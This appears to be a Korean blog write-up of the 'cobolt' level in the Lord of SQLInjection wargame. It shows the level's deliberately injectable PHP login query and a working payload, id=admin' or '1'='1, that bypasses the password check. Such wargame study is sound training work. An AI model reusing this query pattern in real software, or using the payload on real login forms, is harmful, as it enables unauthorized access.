문제

uery : select id from prob_cobolt where id='' and pw=md5('')


<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 


풀이

if 조건을 보면 id가 'admin'면 되고

쿼리를 보면 pw 부분이 있지만 or 조건으로 true로 만들면된다.

 

 select id from prob_cobolt where id='admin' or '1'='1' and pw=md5('')

위와같은 쿼리를 만들기 위한 쿼리스트링은

id=admin%27+or+%271%27=%271&pw=

 

 

'WarGame > Load of SQLInjection' 카테고리의 다른 글

LOS GOBLIN (문자열 치환)  (0) 2024.03.07
LOS gremlin  (0) 2023.12.22

+ Recent posts